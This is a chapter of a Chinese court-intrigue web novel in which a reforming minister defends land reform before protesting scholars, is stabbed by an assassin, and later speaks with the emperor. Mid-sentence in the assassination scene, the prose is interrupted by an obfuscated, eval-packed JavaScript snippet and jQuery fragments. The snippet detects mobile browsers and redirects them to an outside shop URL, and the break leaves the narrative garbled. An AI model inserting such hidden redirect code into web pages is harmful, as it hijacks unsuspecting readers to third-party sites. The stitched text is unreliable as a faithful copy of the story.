天尚未明,百官已齐集太和殿外。早春的冷风刮得人脸生疼,却刮不散空气中那股山雨欲来的凝重。
夏翀站在文官队列中段,深绯官袍在晨曦中显得格外刺目。
他能感受到四面八方投来的目光——探究的、敌视的、幸灾乐祸的。昨夜家中书房窗棂被飞石击碎,今晨上朝途中,马车轮轴莫名断裂。这些警告,他心知肚明。
“时辰到——!”
司礼太监尖细的嗓音划破黎明。
百官鱼贯入殿,按品阶肃立。萧翊端坐龙椅,玄色朝服上的金线蟠龙在宫灯下泛着冷光。
“有本启奏,无本退朝——”
话音未落,礼部右侍郎郑沅已疾步出列:“臣有本奏!”
萧翊抬眸:“讲。”
“臣弹劾翰林院学士夏翀!”郑沅声音洪亮,在寂静的大殿中回荡,“夏翀借推行新政之名,行揽权敛财之实!其刻意偏袒寒门,打压士族,更暗中勾结户部官员,篡改田亩数据,意图侵吞宗室田产!此等行径,实乃祸国殃民,请陛下明察!”
这一记重锤,砸得满殿哗然。
几位老臣交换眼神,暗自点头。郑沅是礼部的人,背后代表的是整个文官集团对新政的反扑。
夏翀面色不变,出列躬身:“陛下,郑侍郎所言,纯属诬陷。土地清丈章程乃臣与户部、工部十余名官员共同拟定,每一条款皆有前朝成例、历年数据为凭。所谓篡改数据、侵吞田产,更是无稽之谈——清丈尚未开始,数据从何而来?”
“夏大人何必狡辩!”郑沅冷笑,“婉昭仪在宫中得宠,你便借此机会排除异己、安插亲信!新政推行不过数日,已有三位五品以上官员因‘阻碍新政’被你弹劾罢免!这不是揽权是什么?!”
“那三位官员,”夏翀声音平静,“一位强占民田上百亩,致使百姓流离失所;一位收受贿赂,为豪强隐匿田产;还有一位更是在地方推行新政时阳奉阴违,故意激起民变。本官弹劾他们,证据确凿,案卷已移交刑部——郑侍郎若不信,可随时调阅。”
“好一张利口!”另一位御史出列,“夏大人只说别人,怎么不说说你自家?冯国公府倒台,你夏家便急着联姻,吞并冯家田产人脉,这难道不是趁火打劫?!”
这话毒辣。直接将夏家与倒台的冯家绑在一起。
夏翀还未开口,殿外忽然传来喧哗。
内侍带着小心禀道:“陛、陛下!殿外……午门聚集了数十士子,高举血书,反对新政!”
萧翊眉峰微挑:“哦?”
“他们说……说夏翀推行新政,是要断天下读书人的前程!说科举改制已寒了士子之心,如今又要夺士族田产,这是要逼反天下士林!”内侍伏地不敢抬头。
夏家曾借舆论之势扭转危局,而今其政敌亦以舆论为刃,反制其身。
究其根源,百姓二字,既包含出身寒门的学子,亦不乏来自世家的既得利益者——立场纷纭,暗流涌动,舆论战场自是多变难测。
午门外,黑压压的人群已涌至宫墙之下。
数十名士子跪在寒风中,手中高举白布血书,上书“清流蒙冤”“新政祸国”等大字。
为首几人须发皆白,身着锦绣,显然是地方上有名望的老儒。
“陛下——!”一位老儒声音嘶哑,“夏翀此贼,假借新政之名徇私弄权!草民等恳请陛下诛此奸佞,以正朝纲!”
禁军们拦着士子,却拦不住声浪如潮。
萧翊登上门楼俯瞰,百官们则神色各异地站在禁军身后观望不前。
有人面露得色,有人忧心忡忡,更多人则冷眼旁观——这一手“士子请命”,是要用民意逼宫。
夏翀孤立在后,背脊挺得笔直。他能感受到那些目光中的寒意,能听见殿外震天的呼喊。
这一刻,他恍然——阴谋伤身,阳谋诛心。
“夏卿。”萧翊忽然开口,声音不高,却压下了所有嘈杂,“你有何话说?”
夏翀深吸一口气,缓缓转身,面向众士子。
然后,他做了一件让所有人目瞪口呆的事——
他竟一步步拨开禁军,走到午门外,直面那黑压压的士子人群!
寒风呼啸,吹得他官袍猎猎作响。数百双眼睛齐刷刷盯在他身上,那目光中的敌意几乎要将他吞噬。
“诸君!”夏翀开口,声音清朗,竟盖过了风声,“你们说新政祸国,说老夫要断天下读书人的前程——好,老夫今日便与诸君论一论,什么是国,什么是前程!”
他从袖中取出一卷文书,当众展开。
“这是江陵三百户百姓的联名血书!他们的田产被南襄王强占,流离失所,状告无门!诸君读圣贤书,可曾想过他们的‘前程’?!”
他又取出另一卷:“这是陇西十二县的田亩册!十年来,当地士族兼并田产逾万亩,数千佃户沦为奴仆!诸君高谈阔论时,可曾听过他们的哭声?!”
声如洪钟,字字泣血。
士子中起了骚动。几个年轻书生面露犹豫,他们读了圣贤书,何尝不知民间疾苦?
“新政要改的不是天下士子的前程,而是要还给百姓一条活路!”夏翀将文书重重摔在地上,“科举改制,糊名誊录,为的是让寒门学子有公平晋身之阶!土地清丈,抑制兼并,为的是让耕者有其田,织者有其衣!”
他指向人群中几位锦衣华服者:“列位大人——还有这满朝诸位高官显贵!你们所维护的‘祖宗之法’、‘士族体面’,背后又是怎样的现实?翻开各家的田庄簿册,其中有多少亩良田,是以‘规矩’之名行兼并之实?清点各府的库房金玉,其间有多少珍宝,是假‘常例’之便榨取民力而来?”
“放肆!”郑沅追出来,厉声喝道,“夏翀!你竟敢在御前咆哮,污蔑朝臣!”
“污蔑?”夏翀转身,目光如电,“需不需要老夫将户部的账册搬出来,与诸君——对质?!”
郑沅脸色骤变。
殿内殿外,一片死寂,跳脚阻挠新政这些人,哪个经得起查?
夏翀站在红墙之下,白发在风中飞扬。这一刻,这个向来温吞的老臣,竟有了指点江山的气魄。
“诸君要清流,”他缓缓道,“老夫便是清流。诸君要公道,新政便是公道。若有人觉得老夫错了,觉得新政错了——尽可来辩!但若有人想用这等手段,逼迫陛下,阻挠改革……”
他顿了顿,一字一顿:“除非从老夫的尸体上踏过去!”
话音落地,一道寒光骤起!
谁也没看清那刺客是从哪里冒出来的。他混在士子人群中,一身青衫与旁人无异,却在夏翀话音落下的瞬间暴起!
袖中短刃如毒蛇吐信,直刺夏翀后心!
“小心——!”
惊呼声中,夏翀只觉背后一凉。他下意识侧身,那刀刃擦着肋骨划过,带起一蓬血花!
剧痛袭来,他踉跄半步,却强撑着没有倒下。
“护驾!护驾!”禁军蜂拥而上。
那刺客一击不中,竟不逃窜,反而狂笑:“夏翀!你断人财路,如杀人父母!今日便是你的死期!”
第二刀已至!
千钧一发之际,一道黑影如鬼魅般掠至。剑光一闪,“叮”的一声脆响,刺客手中短刃应声而断!
霍刀一身黑衣,不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989742|192431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
何时已出现在夏翀身侧。他反手一剑,刺穿刺客肩胛,将其死死钉在地上。
夏翀捂着伤口,鲜血从指缝渗出,融进了深绯官袍。他面色苍白,却仍挺直脊梁,目光扫过惊骇的人群,扫过面露难色的百官。
最后,他看向上方,那道不动如山的身影。
“将刺客押入诏狱,严刑审讯。朕要知道,是谁在背后指使。”
萧翊目光落在面如死灰的礼部右侍郎身上,“郑沅——停职禁足。其家族田产,即日清丈,若有不法,依律严惩。”
最后,他看向那些跪在地上的士子。
“尔等受人蒙蔽,朕不追究。”萧翊的声音缓了下来,“然,此路纵险,朕意已决,必躬行至终。”
“夏翀、周明堂、谢停云、宋方程、韩孝闻五人,即日着手拟定土地改制章程。事关国本,务求详实周密,限三日内呈报于朕。有敢阻挠者——”
萧翊转身走向大殿,一字一顿:
“以谋逆论处。”
夏翀被搀扶着走向偏殿,每走一步,伤口的疼痛都撕扯着他的神智。
这一刀,是改革必须付出的“血税”,但他不会停。
太和殿外,士子们默默散去。几个老儒跪在原地,进退两难。
他们忽然想起很多年前,自己初读圣贤书时,也曾有过“为生民立命”的抱负。
是什么时候开始,只剩下了门户之见,只剩下了利益之争?
没有人能回答。
偏殿内,太医正在为夏翀处理伤口。
刀口深可见骨,幸而未伤及脏腑。
纱布裹了一层又一层,药粉洒上去时,他浑身肌肉绷紧,额角青筋暴起,却咬死了牙关,一声未吭。
萧翊站在阴影里看着他。
“后悔吗?”他问。
夏翀缓缓睁开眼。失血让他视线有些模糊,偏殿梁上的彩画藻井扭曲成一片斑斓的光晕。
他忽然想起很多年前,第一次踏入翰林院那日——也是这样仰头看着藻井,觉得自己这一生,大约就要在这片精致的彩绘下,安安稳稳地老去。
“陛下,”他开口,声音因伤口而沙哑破碎,“臣今年五十有八了。在翰林院修了半辈子书,修《先帝起居注》,修《圣祖功德录》……字字句句,皆是天家威仪,士林风流。”
他喘了口气,伤口被牵扯,又是一阵锐痛。
“直到陛下将臣推出那座书库……臣才第一次看见,歌功颂德的笔墨不曾记载的东西。”
他的目光变得悠远,“江陵百姓按在血书上的指印,是黑的——不是墨,是常年劳作、洗不掉的泥垢渗进了指纹里。陇西的田亩册上,那些被兼并的土地旁边,总跟着几行小字,写着‘某年某月,佃户某某投井’、‘某某鬻女偿租’……”
夏翀的声音越来越轻,却越来越清晰:“臣从前读圣贤书,总不明白何谓‘民为贵,社稷次之’。如今懂了——民不是书里的一个字,还是那些真的会流血会死的人。”
他转过头,看向萧翊。
“这一刀,”夏翀说,眼中竟泛起一丝奇异的光亮,像濒死之人回光返照,“让臣觉得,这五十八年……没白活。”
许久,帝王缓缓伸出手,轻轻按在夏翀肩上。那力道很沉,带着体温,也带着千钧重担。
“夏卿,”萧翊的声音低了下去,第一次褪去了帝王的外壳,露出底下属于“萧翊”这个人的、沉重的压力,“这条路,朕也是第一次走。前面是刀山火海,是万丈深渊。”
他顿了顿,手微微用力:“但既已至此——”
“吾往矣。”夏翀打断他,声音虽弱,却斩钉截铁。